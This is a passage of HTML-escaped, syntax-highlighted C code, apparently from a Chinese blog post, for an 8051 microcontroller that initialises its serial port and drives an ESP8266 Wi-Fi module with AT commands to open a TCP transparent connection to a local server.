class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e141\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e142\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e143\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e144\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e145\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e146\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e147\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e148\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e149\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e150\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e151\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e152\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e153\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e154\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e155\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e156\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e157\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e158\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e159\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;reg52.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e uchar unsigned char\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e uint unsigned int\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003euchar ReceiveData[\u003cspan class=\"number\"\u003e5\u003c/span\u003e]; \u003cspan class=\"comment\"\u003e//回传的数组\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003euchar countnumber;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003euart_init\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003cspan class=\"comment\"\u003e//串口的初始化\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//9600bps@11.0592MHz\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e PCON \u0026amp;= \u003cspan class=\"number\"\u003e0x7F\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//波特率不倍速\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SCON = \u003cspan class=\"number\"\u003e0x50\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//8位数据,可变波特率\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e AUXR |= \u003cspan class=\"number\"\u003e0x40\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//定时器1时钟为Fosc,即1T\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e AUXR \u0026amp;= \u003cspan class=\"number\"\u003e0xFE\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//串口1选择定时器1为波特率发生器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e TMOD \u0026amp;= \u003cspan class=\"number\"\u003e0x0F\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//清除定时器1模式位\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e TMOD |= \u003cspan class=\"number\"\u003e0x20\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//设定定时器1为8位自动重装方式\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e TL1 = \u003cspan class=\"number\"\u003e0xDC\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//设定定时初值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e TH1 = \u003cspan class=\"number\"\u003e0xDC\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//设定定时器重装值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ET1 = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//禁止定时器1中断\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e TR1 = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//启动定时器1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e EA = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ES = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003edelayms\u003c/span\u003e\u003cspan class=\"params\"\u003e(uint xms)\u003c/span\u003e \u003cspan class=\"comment\"\u003e//延时\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e uint i, j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = xms; i \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (j = \u003cspan class=\"number\"\u003e110\u003c/span\u003e; j \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j--)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eSent_ZF\u003c/span\u003e\u003cspan class=\"params\"\u003e(uchar dat)\u003c/span\u003e \u003cspan class=\"comment\"\u003e//发送一个字节\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ES = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e TI = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SBUF = dat;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (!TI)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e TI = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ES = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esend\u003c/span\u003e\u003cspan class=\"params\"\u003e(uchar *\u003cspan class=\"built_in\"\u003estring\u003c/span\u003e)\u003c/span\u003e \u003cspan class=\"comment\"\u003e//发送字符串\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (*\u003cspan class=\"built_in\"\u003estring\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Sent_ZF(*\u003cspan class=\"built_in\"\u003estring\u003c/span\u003e++);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eUart1\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e interrupt 4 \u003cspan class=\"comment\"\u003e//串口1 接收数据4wei(收到8266回传的OK,其实是\\r\\nOK)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{ \u003cspan class=\"comment\"\u003e//当然是因为目前8266里面刷的AT固件是出厂默认固件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e uchar a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (RI == \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//RI=0; //复位中断请求标志,接收数据后置1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a = SBUF; \u003cspan class=\"comment\"\u003e//接收数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e RI = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//复位中断请求标志,接收数据后置1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *(ReceiveData + countnumber) = a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e countnumber++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (countnumber \u0026gt; \u003cspan class=\"number\"\u003e4\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e countnumber = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003euchar \u003cspan class=\"title function_\"\u003edata_compare\u003c/span\u003e\u003cspan class=\"params\"\u003e(uchar *p)\u003c/span\u003e \u003cspan class=\"comment\"\u003e//比较字符串\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003estrstr\u003c/span\u003e(ReceiveData, p) != \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ewifi_init\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003cspan class=\"comment\"\u003e//初始化wifi模块\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e send(\u003cspan class=\"string\"\u003e\u0026#34;AT+RST\\r\\n\u0026#34;\u003c/span\u003e); \u003cspan class=\"comment\"\u003e//往串口发重启指令\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (data_compare(\u003cspan class=\"string\"\u003e\u0026#34;OK\u0026#34;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e delayms(\u003cspan class=\"number\"\u003e600\u003c/span\u003e); \u003cspan class=\"comment\"\u003e//适当延时,给wifi模块一点反应时间\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(ReceiveData, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e send(\u003cspan class=\"string\"\u003e\u0026#34;AT+CWMODE=1\\r\\n\u0026#34;\u003c/span\u003e); \u003cspan class=\"comment\"\u003e//选择STA模式\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (data_compare(\u003cspan class=\"string\"\u003e\u0026#34;OK\u0026#34;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e delayms(\u003cspan class=\"number\"\u003e600\u003c/span\u003e); \u003cspan class=\"comment\"\u003e//适当延时,给wifi模块一点反应时间\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(ReceiveData, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e send(\u003cspan class=\"string\"\u003e\u0026#34;AT+CIPMUX=0\\r\\n\u0026#34;\u003c/span\u003e); \u003cspan class=\"comment\"\u003e//单通道模式\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (data_compare(\u003cspan class=\"string\"\u003e\u0026#34;OK\u0026#34;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e delayms(\u003cspan class=\"number\"\u003e600\u003c/span\u003e); \u003cspan class=\"comment\"\u003e//适当延时,给wifi模块一点反应时间\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(ReceiveData, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e send(\u003cspan class=\"string\"\u003e\u0026#34;AT+CIPSTART=\\\u0026#34;TCP\\\u0026#34;,\\\u0026#34;192.168.1.100\\\u0026#34;,8080\\r\\n\u0026#34;\u003c/span\u003e); \u003cspan class=\"comment\"\u003e//往串口发重启指令\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (data_compare(\u003cspan class=\"string\"\u003e\u0026#34;OK\u0026#34;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e delayms(\u003cspan class=\"number\"\u003e600\u003c/span\u003e); \u003cspan class=\"comment\"\u003e//适当延时,给wifi模块一点反应时间\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(ReceiveData, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e send(\u003cspan class=\"string\"\u003e\u0026#34;AT+CIPMODE=1\\r\\n\u0026#34;\u003c/span\u003e); \u003cspan class=\"comment\"\u003e//选择透传\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (data_compare(\u003cspan class=\"string\"\u003e\u0026#34;OK\u0026#34;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e delayms(\u003cspan class=\"number\"\u003e600\u003c/span\u003e); \u003cspan class=\"comment\"\u003e//适当延时,给wifi模块一点反应时间\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(ReceiveData, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e send(\u003cspan class=\"string\"\u003e\u0026#34;AT+CIPSEND\\r\\n\u0026#34;\u003c/span\u003e); \u003cspan class=\"comment\"\u003e//发送数据命令\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (data_compare(\u003cspan class=\"string\"\u003e\u0026#34;OK\u0026#34;\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e delayms(\u003cspan class=\"number\"\u003e600\u003c/span\u003e); \u003cspan class=\"comment\"\u003e//适当延时,给wifi模块一点反应时间\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ememset\u003c/span\u003e(ReceiveData, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e P27 = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//蜂鸣器\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e uart_init();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e delayms(\u003cspan class=\"number\"\u003e2000\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e wifi_init(); \u003cspan class=\"comment\"\u003e//就可连上服务端了\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//do something\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan 